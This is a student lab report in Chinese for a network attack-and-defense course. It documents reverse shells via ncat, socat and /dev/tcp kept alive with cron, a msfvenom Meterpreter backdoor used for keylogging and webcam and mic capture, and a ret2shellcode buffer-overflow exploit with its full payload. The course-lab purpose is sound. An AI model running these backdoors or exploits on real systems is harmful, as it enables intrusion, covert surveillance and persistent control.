20242419 2026-2027-1 《网络与系统攻防技术》实验2实验报告

20242419 2026-2027-1 《网络与系统攻防技术》实验2实验报告

  • 姓名:陈贻富
  • 学号:20242419

1.基础知识

1.1 后门与反弹 Shell

后门(Backdoor)是指绕过正常认证与授权、为攻击者保留一条再次进入目标系统通道的程序或配置。后门要解决两个问题:一是"怎么进来并执行",二是"下次怎么自动起来"。本实验分别对应 Shell 获取与自启动两个环节。

按连接方向不同,Shell 分为正向连接与反向连接。正向连接是攻击者主动连接目标机监听的端口;反向连接(反弹 Shell,reverse shell)是目标机主动连回攻击机。实际环境中目标机往往位于 NAT 之后或只允许出站流量,攻击机无法直接连入,但目标机可以主动向外发起连接,因此反弹 Shell 成功率更高,也更隐蔽——流量看上去只是一条普通的出站连接。

1.2 netcat / ncat 与 socat

netcat(nc)被称为"网络瑞士军刀",可以在 TCP/UDP 上读写数据。ncat 是 Nmap 项目对 netcat 的重写版本,支持 -e 参数在建立连接后把标准输入输出交给指定程序执行,因此一条命令就能得到 Shell:

ncat <攻击机IP> <端口> -e /bin/bash

socat 同样是双向数据流中继工具,但功能更强:可以把任意两个"地址"对接起来,并且能正确分配伪终端(pty),所以拿到的 Shell 具备正常的命令回显、行编辑与历史记录,交互体验明显优于 nc(nc 默认没有 tty,方向键与 Ctrl+C 行为异常):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击机IP>:<端口>

监听端则用 TCP-LISTEN 配合 FILE:\tty`,raw,echo=0` 把本地终端直接接到套接字上。

1.3 后门的自启动机制

后门要长期存活,必须挂到系统的自启动项上。

Linux 的 cron 是一个守护进程(crond),按分钟粒度周期性地执行计划任务。用户的计划任务由 crontab -e 编辑,每行一条,前五个字段分别是分、时、日、月、周,第六个字段是要执行的命令。本实验把反弹脚本写进 crontab,五个时间字段全用 *,即每分钟执行一次,相当于每分钟"敲门"一次,攻击机只要在监听,就能在某个分钟点上拿到 Shell。

Windows 的对应机制是"任务计划程序"(Task Scheduler),可以按触发器(登录时、开机时、定时)执行程序,也可以用 schtasks 命令创建。除计划任务外,Windows 常见的自启动位置还有注册表 Run/RunOnce 键、启动文件夹(shell:startup)、系统服务、WMI 事件订阅等。

1.4 Meterpreter 与 msfvenom

Meterpreter 是 Metasploit 框架中的高级载荷,它以一个被注入到目标进程内存中的 DLL 形式运行,不往磁盘写文件,因此"无文件"特征明显、不易被查杀。它通过加密通道与攻击机通信,并内置大量后渗透模块:文件操作、进程迁移、键盘记录、截屏、摄像头、录音、提权、持久化等。

msfvenom 是生成载荷的工具,-p 指定载荷(如 windows/x64/meterpreter/reverse_tcp),LHOST/LPORT 指定回连地址与端口,-f 指定输出格式(exe、python、c 等),-b 用于剔除指定坏字符,-o 指定输出文件。攻击机一侧则需要对应的 handler(exploit/multi/handler)来接收会话。

1.5 栈溢出与 ret2shellcode

32 位程序的函数返回地址保存在栈上,如果程序对用户输入不检查长度,超长输入就会覆盖栈上的返回地址(EIP)。从输入起点到 EIP 之间的字节数称为偏移量(offset),payload 的一般结构为:

填充字节(offset) + 新的返回地址 + 后续数据

ret2shellcode 的思路是:把 shellcode 放在栈上,再让返回地址指向栈上 shellcode 的位置,使程序 ret 之后直接跳过去执行。前提条件是栈可执行(NX/DEP 关闭)。由于函数返回时 ESP 正好指向 EIP 之后的那个地址,因此常用做法是让 EIP = jmp esp,程序会跳到 ESP 所在处,也就是 shellcode 的开头;如果程序里找不到 jmp esp 指令,也可以直接让 EIP 等于栈上 shellcode 的绝对地址(前提是关闭 ASLR,使栈地址稳定)。

常见保护机制:Stack Canary(栈上插入校验值,溢出会破坏它而被发现)、NX/DEP(栈不可执行)、ASLR(地址随机化)、PIE(程序基址随机化)、RELRO(GOT 表保护)。它们决定了漏洞能不能用、该用哪种利用手法。

1.6 免杀技术

免杀(AV Evasion)就是让恶意载荷不被杀毒软件的特征库与启发式引擎识别。常见思路有:修改特征码(编码器 encoder、加密壳)、加壳压缩(UPX)、把载荷拆分并加密存放、运行时内存解密加载(如 shellcode 加载器)、白利用(Living off the Land,借用系统自带程序执行)、以及流量层加密混淆。本实验用 msfvenom 直接生成的原始 exe 属于"无任何免杀处理"的对照样本,其 PE 结构与特征码固定,很容易被查杀,这也是后面对比分析的基础。

2.实验内容

2.1 实验目标

  1. 使用 netcat 获取主机操作 Shell,并用 cron 启动某项任务。
  2. 使用 socat 获取主机操作 Shell,并用任务计划启动。
  3. 使用 MSF meterpreter(或其他软件)生成可执行文件(后门),利用 ncat 或 socat 传送到主机并运行,获取主机 Shell。
  4. 使用 MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
  5. 使用 MSF 生成 shellcode,注入到实验一中的 pwn1 中,获取反弹连接 Shell。

2.2 实验要求

  • 掌握后门原理及免杀技术。
  • 回答实验问题(共 4 题,见 3.8 节)。

2.3 总体方案

本实验围绕"后门如何进来、如何留下、如何偷东西"这一条主线展开,共分五个任务,层层递进:

  • 任务一、任务二解决"通道"问题:分别用 ncat 与 socat 建立反弹 Shell,再分别挂到 Linux 的 cron 计划任务上,验证后门可以脱离人工操作自动运行。这两步在 Kali 本机以回环地址完成,机制与跨机完全一致,同时避免影响其他主机。
  • 任务三解决"投递"问题:用 msfvenom 生成 Windows 可执行后门,用 socat 传送到宿主机 Windows 靶机并运行,取得 Meterpreter 会话。
  • 任务四解决"利用"问题:在已有会话上验证键盘记录、屏幕截图、摄像头、录音等信息窃取能力,并尝试提权。
  • 任务五回到实验一的靶程序 pwn1:用 MSF 生成 32 位反弹 shellcode,通过栈溢出把返回地址指向栈上的 shellcode,最终取得反弹 Shell。

技术路线为"ncat/socat 手写后门 → MSF 工具化后门 → 漏洞利用注入 shellcode",前者帮助理解原理,后者体现自动化与免杀的现实威力。

3.实验过程

3.1 实验环境

角色 主机名 操作系统 用户名 IP 地址
攻击机 chenyifu Kali Linux Rolling(VMware 虚拟机 kali-linux-2026.2) kali 192.168.253.129
靶机(宿主机) DESKTOP-GAR5KSN Windows 11 24H2(Build 26200)x64 if 192.168.253.1

两台主机处于 VMware 虚拟网卡同一网段(192.168.253.0/24),先双向 ping 验证连通性。

image
image

3.2 任务一:ncat 获取 Shell + cron 启动任务

3.2.1 安装并确认 ncat

Kali 自带的 netcat 版本不支持 -e 参数,改用 ncat:

sudo apt update
sudo apt install -y ncat
which ncat

image

3.2.2 编写反弹脚本

脚本文件名带上学号,内容为一条 ncat 反弹命令:

#!/bin/bash
/usr/bin/ncat 127.0.0.1 4444 -e /bin/bash

image

此处先单独执行了一次脚本来测试,因为监听端还没打开,所以出现 Ncat: Connection refused.,属于预期现象。

3.2.3 手动验证一次

打开两个终端:终端 A 监听 4444 端口,终端 B 执行反弹脚本。

nc -lvnp 4444                    # 终端 A:监听
/home/kali/20242419_nc_rev.sh    # 终端 B:执行脚本

image

监听端立刻得到 Shell,执行 whoami、hostname、id 验证身份:

image

3.2.4 写入 cron 定时任务

第一次执行 crontab -e 时需要选择编辑器,选 nano,然后在文件末尾追加两行:一行执行反弹脚本,一行把当前时间追加到测试文件,用来证明 cron 确实在跑。

* * * * * /home/kali/20242419_nc_rev.sh
* * * * * date >> /tmp/20242419_cron_test.txt

image

保存退出(Ctrl+O → 回车 → Ctrl+X)后用 crontab -l 确认写入成功:

image

3.2.5 等待 cron 自动触发并验证

此时不再手动执行脚本,只保持监听,cron 每分钟触发一次,最长等待 60 秒。同时在第三个终端查看测试文件,确认 cron 确实执行了:

cat /tmp/20242419_cron_test.txt

image

监听端在没有任何人工干预的情况下自动弹出 Shell,再次执行 whoami、hostname、id 验证:

image

说明:上图测试文件当时只有一行时间记录,是因为查看时 cron 才刚触发过一次;持续等待后该文件会每分钟追加一行。

3.2.6 关于早期尝试的 /dev/tcp 方案

正式采用 ncat 之前,曾尝试过用 bash 自带的 /dev/tcp 伪设备做反弹,写进 crontab 的命令为:

* * * * * /bin/bash -i >& /dev/tcp/192.168.253.129/8888 0>&1

该方式依赖 bash 编译时开启 net redirections,兼容性不如 ncat,且不带 tty,故最终改用本文的 ncat 方案。该尝试的截图保留如下,作为方案选型的说明。

image

3.3 任务二:socat 获取 Shell + 任务计划启动

整体流程与任务一相同,只是把 ncat 换成 socat。区别在于 socat 会把伪终端(pty)正确交给远端,得到的 Shell 是可正常交互的终端。

3.3.1 编写 socat 反弹脚本并启动监听

#!/bin/bash
/usr/bin/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4445

监听端使用下面的命令,把本地 raw 终端接到套接字上:

socat -d -d TCP-LISTEN:4445,reuseaddr FILE:`tty`,raw,echo=0

image

3.3.2 手动测试

在另一个终端执行反弹脚本,监听端随即变成交互式 Shell:

image

验证方法与任务一一致。手动测试通过后按 Ctrl+C 结束。

3.3.3 加入 cron 任务计划

crontab -e

# 追加一行
* * * * * /home/kali/20242419_socat_rev.sh

此时 crontab 中一共三条任务:两条是任务一的,一条是任务二的。

image

3.3.4 等待任务计划自动触发

重新启动监听端,不做任何手动操作,等待一分钟:

socat -d -d TCP-LISTEN:4445,reuseaddr FILE:`tty`,raw,echo=0

image

3.4 任务三:MSF meterpreter 后门生成与投递

3.4.1 生成 Windows 后门文件

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.253.129 LPORT=4446 \
  -f exe -o /home/kali/20242419_win_backdoor.exe

ls -l /home/kali/20242419_win_backdoor.exe
file /home/kali/20242419_win_backdoor.exe

image

file 命令确认输出为 PE32+ executable (GUI) x86-64,即以图形界面方式运行、点击后不弹窗的 Windows 可执行文件,大小 7680 字节。

3.4.2 启动 handler 等待回连

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.253.129
set LPORT 4446
run -j

image

3.4.3 用 socat 传送后门

靶机上启动 socat 监听,接收后门文件:

cd $env:USERPROFILE\Desktop
.\socat\socat.exe TCP-LISTEN:5555,reuseaddr CREATE:20242419_win_backdoor.exe

攻击机 Kali 用 socat 发送后门:

socat - TCP:192.168.253.1:5555 < /home/kali/20242419_win_backdoor.exe

屏幕截图 2026-10-12 224001

传输完成后,靶机上查看文件:

ls -l .\20242419_win_backdoor.exe

文件大小为 7680 字节,与攻击机一致,socat 传送成功。

image

3.4.4 靶机运行后门

.\20242419_win_backdoor.exe

image

3.4.5 会话建立

运行几秒后,Kali 的 msfconsole 自动收到会话:

image

sessions -l
sessions -i 1

会话信息显示回连来自 192.168.253.1:1160,会话号为 1。

3.4.6 查看目标主机信息

sysinfo
getuid
pwd
ls

image

image

sysinfo 回显计算机名 DESKTOP-GAR5KSN、系统 Windows 11 24H2(10.0 Build 26200)、架构 x64;getuid 显示当前权限为 DESKTOP-GAR5KSN\if,属于普通用户,这一权限级别决定了后面提权环节的必要性。

3.5 任务四:信息窃取与提权尝试

3.5.1 键盘记录

keyscan_start
# 在靶机上随意敲几个键,等待 10~20 秒
keyscan_dump
keyscan_stop

image

3.5.2 屏幕截图

screenshot

image

文件保存在 Kali 的 /home/kali/AecuzOAG.jpeg,用图片查看器打开确认画面内容:

image

3.5.3 摄像头

webcam_list
webcam_snap -i 1 -v false

93ead018b4b845c6bc5d2c5229664cbf

此处 webcam_list 未单独留图,直接以 webcam_snap 的成像结果作为证据,画面中为靶机(宿主机)的摄像头实时画面。

3.5.4 麦克风录音

record_mic -d 10

image

录音文件保存在 /home/kali/NJlStuaQ.wav,用 aplay 播放确认:

aplay /home/kali/NJlStuaQ.wav

image

3.5.5 提权尝试

getuid
getsystem

image

getsystem 返回 Send timed out,提权未成功。原因是当前会话进程为普通用户权限,getsystem 依赖的命名管道模拟与令牌窃取条件不满足。

3.5.6 本地提权漏洞扫描

提权失败后不硬试,改用 MSF 的本地漏洞扫描模块枚举可行路径。先把会话放回后台,再加载模块:

background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

image

image

扫描结果分为两类:

  • 提权类:exploit/windows/local/bits_ntlm_token_impersonation(提示目标系统 vulnerable)、ms16_032_secondary_logon_handle_privesc、ms16_075_reflection。
  • 持久化类:persistence/service、persistence/registry、persistence/startup_folder、persistence/registry_active_setup 等。

受实验时间与靶机环境影响,本次未继续执行具体的提权 exploit,仅完成"枚举可行提权路径"这一步。

3.6 任务五:MSF shellcode 注入 pwn1 获取反弹 Shell

本任务把实验一中缓冲区溢出的靶程序 pwn1 作为注入目标,用 MSF 生成一段反弹连接的 shellcode,通过栈溢出让程序执行它。

3.6.1 定位并准备 pwn1

find /home/kali -name "pwn1" 2>/dev/null
mkdir -p /home/kali/pwn
cp /home/kali/.cache/vmware/drag_and_drop/Xzc1zB/pwn1 /home/kali/pwn/pwn1
cd /home/kali/pwn
chmod +x ./pwn1
file ./pwn1

image

file 输出为 ELF 32-bit LSB executable, Intel i386,是标准的 32 位程序,大小 7418 字节。

3.6.2 检查保护机制

checksec --file=./pwn1

image

检查结果:RELRO 为 Partial RELRO、No canary found、NX disabled、No PIE (0x8048000)。没有栈保护、栈可执行、程序基址固定,说明栈溢出利用方案可行。

后续再次尝试 checksec ./pwn1 时出现 Error: No option selected,新版 checksec 不再接受这种省略选项的写法,改用 pwntools 的 ELF().checksec() 查看,两者结论一致。

image

python3 -c "from pwn import *; print(ELF('./pwn1').checksec())"

image

3.6.3 生成 32 位 shellcode

pwn1 是 32 位程序,因此载荷必须选 linux/x86 系列,并排除空字节与换行回车等坏字符:

msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=127.0.0.1 LPORT=4447 \
  -b '\x00\x0a\x0d' -f python -v shellcode \
  -o /home/kali/20242419_shellcode.py

cat /home/kali/20242419_shellcode.py

image

3.6.4 关闭 ASLR

栈上 shellcode 的地址必须在每次运行时保持不变,因此实验期间先关闭系统的地址随机化:

sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space

image

3.6.5 确定溢出偏移量

偏移量是 payload 结构的基础,实验中用了三种方法交叉验证。

方法一:用 cyclic pattern 触发崩溃,再根据崩溃地址反查偏移。

cd /home/kali/pwn
python3 -c "from pwn import *; print(cyclic(200).decode())" > /tmp/pat.txt
cat /tmp/pat.txt

image

gdb ./pwn1
(gdb) run < /tmp/pat.txt

image

python3 -c "from pwn import *; print(cyclic_find(0x61616169))"
# 输出 32

image

方法二:用 200 个 A 作为输入复核。

python3 -c "print('A'*200)" > /tmp/a.txt
gdb ./pwn1
(gdb) run < /tmp/a.txt

image

image

EIP 被 4 个 A(0x41414141)覆盖,确认返回地址确实被输入控制。接着查看崩溃时的 ESP 与栈内容:

(gdb) info registers esp
(gdb) x/40x $esp-0x100
(gdb) find $esp-0x400, $esp, 0x41414141

image

image

缓冲区起始地址为 0xffffcf2c,崩溃时 ESP 为 0xffffcf50。0xffffcf50 - 0xffffcf2c = 0x24,即 36 字节 = 32 字节填充 + 4 字节返回地址,与偏移量 32 完全吻合,说明返回地址之后的 ESP 正是 shellcode 应当摆放的位置。

方法三:用 pattern 再跑一遍复核。

image

python3 -c "
from pwn import *
print(cyclic_find(b'iaaa'))
"
# 输出 32

image

最后用 32 个 A 加 4 个 B 精确定标:若偏移量确为 32,则崩溃地址应恰好是 0x42424242(即 BBBB)。

gdb ./pwn1
(gdb) run <<< $(python3 -c 'print("A"*32 + "B"*4)')
(gdb) info registers esp

image

image

过程中曾被 pattern offset $eip 的输出 44 误导过,但用全 A 与 32A+4B 两种方式复算,结果都稳定指向 32,故最终采用偏移量 32。

3.6.6 查找 jmp esp 与替代方案

常规做法是让 EIP 指向 jmp esp 指令,使程序跳到 ESP 处执行栈上 shellcode。先用 ROPgadget 搜索:

ROPgadget --binary ./pwn1 | grep "jmp esp"
# 无输出
ROPgadget --binary ./pwn1 --opcode ffe4
# 无输出

image

pwn1 中没有 jmp esp(及其等价指令 call esp)可用,因此改用直接跳转的方案:把返回地址直接写成崩溃时 ESP 的值 0xffffcf50。由于此时 ASLR 已关闭,栈地址稳定,且 checksec 显示栈可执行,该方案同样可行。

3.6.7 构造 payload

payload 结构为:32 字节填充 + 返回地址 0xffffcf50 + NOP 雪橇 + shellcode。NOP 雪橇用于吸收跳转时的微小地址偏差,提高命中率。在 /home/kali/pwn 目录下创建脚本 gen_payload.py:

import sys
from pwn import *

offset = 32
ret_addr = 0xffffcf50

shellcode =  b""
shellcode += b"\xba\x33\x8c\x81\xa6\xdd\xc3\xd9\x74\x24\xf4"
shellcode += b"\x5e\x33\xc9\xb1\x12\x83\xc6\x04\x31\x56\x0e"
shellcode += b"\x03\x65\x82\x63\x53\xb8\x41\x94\x7f\xe9\x36"
shellcode += b"\x08\xea\x0f\x30\x4f\x5a\x69\x8f\x10\x08\x2c"
shellcode += b"\xbf\x2e\xe2\x4e\xf6\x29\x05\x26\x76\xca\xf5"
shellcode += b"\xb7\xe0\xc8\xf5\xa6\xaf\x45\x14\x78\x29\x06"
shellcode += b"\x86\x2b\x05\xa5\xa1\x2a\xa4\x2a\xe3\xc4\x59"
shellcode += b"\x04\x77\x7c\xce\x75\x58\x1e\x67\x03\x45\x8c"
shellcode += b"\x24\x9a\x6b\x80\xc0\x51\xeb"

payload = b'A'*offset + p32(ret_addr) + b'\x90'*200 + shellcode
# 只输出原始二进制 payload,不启动进程
sys.stdout.buffer.write(payload)

其中 shellcode 部分取自 3.6.3 中 msfvenom 生成的 linux/x86/shell_reverse_tcp(回连 127.0.0.1:4447)。

3.6.8 执行利用

先在一个终端监听回连端口,再用 gdb 把 payload 作为程序输入送入:

nc -lvnp 4447          # 终端 1:监听反弹 Shell
gdb ./pwn1             # 终端 2
(gdb) run < <(python3 gen_payload.py)

image

3.6.9 接收反弹 Shell

程序成功被劫持并执行 shellcode,向监听端发起连接,反弹 Shell 到手:

image

image

在反弹 Shell 中执行 id、pwd、ls 均正常回显:当前用户为 kali(uid=1000),工作目录为 /home/kali/pwn,目录下可见 pwn1、exp.py、gen_payload.py 以及溢出产生的 core 转储文件,说明已完整拿到目标程序的交互式 Shell。

3.7 实验结果

任务 目标 结果
任务一 netcat 获取 Shell + cron 启动 成功
任务二 socat 获取 Shell + 任务计划启动 成功
任务三 MSF 后门生成、投递、获取 Shell 成功
任务四 键盘记录 / 截屏 / 摄像头 / 录音 / 提权 信息窃取均成功;提权未成功
任务五 shellcode 注入 pwn1 获取反弹 Shell 成功

五个任务中,除任务四的 getsystem 提权未成功外,其余目标全部达成。提权失败后通过 local_exploit_suggester 已枚举出可行路径(图 31),说明漏洞本身存在,只是未在本次实验中继续执行利用。

3.8 实验问题回答

(1)列举你能想到的一个后门进入到你系统中的可能方式?

从"诱骗用户自己运行"和"利用漏洞自动植入"两条主线考虑,常见方式有:

  • 钓鱼邮件或即时通信附件:伪装成简历、成绩单、通知的 EXE、LNK、CHM 文件,或在 Office 文档中使用宏与漏洞。
  • 恶意网站在线投毒:诱导下载所谓的播放器、插件、补丁,实为后门。
  • 捆绑在破解软件、绿色版工具、游戏外挂、盗版镜像中,安装时静默释放。
  • 供应链投毒:篡改软件安装包、官方更新通道,或向开源依赖库(npm、PyPI 等)注入恶意代码。
  • 利用漏洞自动植入:Web 应用的命令执行/文件上传漏洞、永恒之蓝一类远程溢出漏洞,无需用户交互即可落地。
  • 弱口令与未授权访问:通过爆破 RDP/SSH/数据库口令后手工植入。
  • 移动存储与物理接触:带 BadUSB 的 U 盘、维修或借用时被插入。

结合本次实验,最贴近现实的一种是:攻击者把 exe 后门换成一个有正常图标和签名的"工具"发给用户,用户双击后没有任何界面变化(我们的后门编译为 GUI 子系统,运行时不弹窗),但 Meterpreter 会话已经在后台建立——这正是本实验任务三复现的场景。

(2)列举你知道的后门如何启动起来(win 及 linux)的方式?

Linux 侧:

  • cron 计划任务:crontab -e、/etc/crontab、/etc/cron.d/、/var/spool/cron/crontabs/。
  • systemd 服务或定时器:/etc/systemd/system/*.service 配合 systemctl enable。
  • /etc/rc.local、/etc/init.d/ 下的启动脚本。
  • Shell 配置文件:~/.bashrc、~/.bash_profile、/etc/profile.d/*.sh,用户一登录就执行。
  • SSH 后门:向 ~/.ssh/authorized_keys 写入攻击者公钥;或替换 sshd 留万能口令。
  • 动态链接库劫持:/etc/ld.so.preload、LD_PRELOAD 环境变量。
  • at 定时任务、内核模块(LKM)与 rootkit。

Windows 侧:

  • 注册表 Run/RunOnce 键(HKCU\Software\Microsoft\Windows\CurrentVersion\Run)。
  • 启动文件夹:shell:startup 与 shell:common startup。
  • 任务计划程序(Task Scheduler / schtasks),本实验任务二要求的就是这一类机制。
  • 系统服务:sc create 创建服务,或把恶意 DLL 挂进 svchost。
  • WMI 事件订阅(永久事件消费者),触发条件隐蔽。
  • 映像劫持(IFEO)、AppInit_DLLs、COM 组件劫持、组策略登录脚本。

本次实验中,Kali 侧用的是 crontab(Linux 计划任务),Windows 侧对应的是"任务计划程序",两者的共同点是把后门挂在系统既有的自动执行机制上,让攻击者无需再手动运行。

(3)Meterpreter 有哪些给你印象深刻的功能?

  • 全内存运行、不落盘:Meterpreter 是被注入进程内存的 DLL,目标磁盘上除了最初的 exe 之外没有额外文件,传统基于文件特征扫描的查杀方式效果有限。
  • 进程迁移(migrate):可以把自己迁移到 explorer.exe 等稳定进程中,即使原来的后门进程被结束,会话依然保持。
  • 一条命令完成信息收集:sysinfo 直接给出计算机名、系统版本(Windows 11 24H2 Build 26200)、架构、域信息,省去大量手工命令。
  • 偷窥能力直观:keyscan 键盘记录、screenshot 截屏、webcam_snap 摄像头、record_mic 录音,本次实验中键盘记录拿到了真实输入内容,录音文件也能正常播放。
  • 提权与内网渗透:getsystem 自动尝试令牌窃取;提权失败后用 local_exploit_suggester 一次性列出 bits_ntlm_token_impersonation、ms16_032、ms16_075 等可行漏洞,就像自动做了一次提权体检。
  • 持久化与横向:persistence 系列模块和 portfwd、autoroute,能把一次简单的会话扩展成对整个内网的持续控制。

印象最深的是 local_exploit_suggester——它把"找提权点"这件原本需要大量手工排查的工作,变成了一条命令和一张清单。

(4)如何发现自己系统有没有被安装后门?

单一手段很容易漏,需要从网络、进程、自启动、文件、日志几个角度交叉验证。

  • 网络侧:用 netstat/ss 或资源监视器查看异常外连与监听端口。本次实验的痕迹就是 4444、4445、4446、4447 这几个固定端口的心跳式连接,以及长时间保持的 ESTABLISHED 会话;同时留意从内网主动发往外网的可疑地址。
  • 进程侧:检查临时目录(Temp、AppData、ProgramData)下运行的进程、无数字签名的进程,以及父子关系异常的进程(例如 winword.exe 启动了 powershell.exe)。
  • 自启动项:Windows 用 Autoruns、任务计划程序、服务列表逐项核对;Linux 用 crontab -l、/etc/cron*、systemctl list-unit-files、~/.bashrc、authorized_keys、/etc/ld.so.preload。本实验的两条 cron 任务在 crontab -l 中一眼可见。
  • 文件与完整性:对系统关键目录做哈希比对(SFC/DISM、rpm -Va、debsums),关注近期被修改或带隐藏属性的可执行文件。
  • 日志与审计:Windows 安全日志中的 4698(创建计划任务)、4688(进程创建)、Sysmon 事件;Linux 的 auth.log、cron 日志与 auditd 记录。
  • 常态化手段:开启 Defender/EDR 实时防护并定期全盘扫描、关闭不必要的对外端口、定期审计开机启动项与监听端口。

一句话总结:后门往往"藏在一个不起眼的自启动项里,靠一条规律的外连活着",所以查后门的重点是把自启动项和异常外连这两张网同时铺开。

4.问题及解决方案

  • 问题1:Kali 自带的 netcat 不支持 -e 参数,无法直接执行命令,反弹脚本写不出来。
  • 问题1解决方案:改用 Nmap 项目的 ncat(sudo apt install -y ncat),-e 参数可用。
  • 问题2:脚本单独运行时报 Ncat: Connection refused.。
  • 问题2解决方案:原因是监听端尚未启动,回连自然被拒。先启动 nc -lvnp 4444 再执行脚本即可,该报错本身属于预期现象。
  • 问题3:写入 cron 后,查看 /tmp/20242419_cron_test.txt 只有一行时间记录,怀疑 cron 没生效。
  • 问题3解决方案:查看时 cron 才刚触发过一次,继续等待即可,之后每分钟追加一行即为正常;同时以监听端自动弹出 Shell 作为 cron 生效的最终证据。
  • 问题4:socat 反弹回来的 Shell 交互异常,方向键和 Ctrl+C 都不正常。
  • 问题4解决方案:一开始漏了 pty 相关参数,补上 exec:'bash -li',pty,stderr,setsid,sigint,sane 与监听端的 FILE:\tty`,raw,echo=0` 后,拿到的是可正常交互的终端。
  • 问题5:getsystem 提权失败,返回 Send timed out。
  • 问题5解决方案:当前会话为普通用户权限,令牌窃取与命名管道模拟的条件不满足。改换思路,用 post/multi/recon/local_exploit_suggester 枚举可行提权路径,得到 bits_ntlm_token_impersonation 等一串结果,说明漏洞存在,只是需要针对具体漏洞编写利用。
  • 问题6:偏移量先后算出 44 和 32 两个结果,按 44 构造的 payload 怎么都跑不通。
  • 问题6解决方案:pattern offset $eip 的输出 44 不可靠。改用 cyclic_find(0x61616169)、全 A 输入以及 32A+4B 精确定位三种方式交叉验证,并用「ESP − 缓冲区起始地址 = 0x24 = 36 字节」做算术校验,确认偏移量为 32,此后 payload 一次成功。
  • 问题7:按常规套路用 ROPgadget 找 jmp esp,汇编和机器码 ff e4 两种搜法都没有结果,利用链一度卡住。
  • 问题7解决方案:回到原理重新审视限制条件——此时 NX 已关闭(栈可执行)、ASLR 已关闭(栈地址稳定固定为 0xffffcf50),因此不必非得找到 jmp esp,直接把返回地址写成栈上 shellcode 的绝对地址即可。
  • 问题8:栈地址每次运行都不一样,payload 里的返回地址对不上。
  • 问题8解决方案:这是 ASLR 造成的地址随机化,实验期间执行 sudo sysctl -w kernel.randomize_va_space=0 关闭,之后栈地址稳定在 0xffffcf50。
  • 问题9:checksec ./pwn1 报 Error: No option selected.。
  • 问题9解决方案:新版 checksec 不再接受省略选项的写法,改用 checksec --file=./pwn1,或直接用 pwntools 的 ELF('./pwn1').checksec(),两者结论一致。
  • 问题10:payload 跳转后执行不稳定,时好时坏。
  • 问题10解决方案:在返回地址与 shellcode 之间加入 200 字节的 NOP 雪橇(0x90),吸收跳转时的微小地址偏差,命中率明显提高。

5.学习感悟、思考等

这次实验从"拿一个 Shell"一路做到"持续控制 + 信息窃取",让我对后门的完整生命周期有了比较具体的认识。之前以为后门就是一段反弹 shell 代码,做完才发现真正关键的是后半段——怎么让它在系统里活下来。cron 那两行配置看起来平平无奇,但它把"需要人在合适的时机点一下"变成了"只要机器开着,就每分钟替我敲一次门",这种自动化正是后门难被发现的原因。

过程里踩的坑比想象中多。第一次跑 nc 脚本直接报 Connection refused,后来才反应过来是监听端没开;socat 的 pty 参数一开始漏了,拿到的 shell 连方向键都用不了,补上 pty、raw、echo=0 之后交互才正常。这些细节书本上就是一行参数,不动手很难有体会。

任务五是最费时间的。偏移量我先后算出了 44 和 32 两个答案,一开始按 44 写 payload 怎么都跑不通,后来换成全 A 输入、再用 32A+4B 精确定位,才确认是 32。接着按常规套路找 jmp esp,ROPgadget 按汇编和按机器码 ff e4 都搜不到,当时一度以为这条路走不通,后来想明白:栈上 shellcode 的地址本来就是已知的(0xffffcf50),既然 NX 关闭、ASLR 也关了,完全可以直接把返回地址写成这个绝对地址,不必非要在程序里找到 jmp esp。这件事让我意识到,绕过"没有 gadget"的僵局,靠的不是多试几条命令,而是回到原理上重新看一遍限制条件。

另外,提权那一步失败也让我印象很深。getsystem 超时后我本来打算再试几次,后来用 local_exploit_suggester 一扫,才发现系统上可利用的提权点其实不少,只是需要针对具体的漏洞去写利用。这提醒我,渗透里"枚举"往往比"硬猜"重要。

从防御角度回看,这次实验给我的冲击更大:一条 sysinfo 就把系统版本、架构、用户名全都交出去了,一次按键记录就把我随手敲的内容原样存了下来。而所有这一切的入口,不过是双击了一个看起来人畜无害的 exe。以后再看到来路不明的可执行文件,我大概会多想三秒。

参考资料

posted @ 2026-10-15 19:12  陈贻富  阅读(8)  评论(0)    收藏  举报